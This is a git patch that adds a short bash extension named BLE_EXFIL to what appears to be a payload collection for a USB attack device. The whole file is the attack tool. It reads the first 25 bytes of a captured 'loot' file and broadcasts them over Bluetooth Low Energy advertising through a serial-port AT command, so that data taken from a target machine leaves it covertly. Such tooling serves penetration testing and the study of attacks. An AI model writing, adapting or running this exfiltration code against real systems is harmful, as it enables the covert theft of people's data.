From fd74db9f6091b07351b532438b1d25b0ac4bd0e3 Mon Sep 17 00:00:00 2001 From: drapl0n <87269662+drapl0n@users.noreply.github.com> Date: Sat, 30 Apr 2022 08:53:19 +0530 Subject: [PATCH] uploading BLE_EXFIL extension BLE_EXFIL extension, exfiltrates data via BLE --- payloads/extensions/ble_exfil.sh | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 payloads/extensions/ble_exfil.sh diff --git a/payloads/extensions/ble_exfil.sh b/payloads/extensions/ble_exfil.sh new file mode 100644 index 00000000..47f5ce3d --- /dev/null +++ b/payloads/extensions/ble_exfil.sh @@ -0,0 +1,16 @@ +#!/bin/bash +# +# BLE_EXFIL v1 by @drapl0n +# Exfiltrate data(25 bytes) stored in "/loot/ble_exfil.txt" via BLE. +# Usage: BLE_EXFIL + +function BLE_EXFIL() { + stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost + stty -F /dev/ttyS1 speed 115200 cs8 -cstopb -parenb -echo -ixon -icanon -opost + sleep 1 + text=$(cat /root/udisk/loot/ble_exfil.txt) + exfil=${text:0:25} + echo -n -e "AT+ADVDAT=$exfil" > /dev/ttyS1 +} + +export -f BLE_EXFIL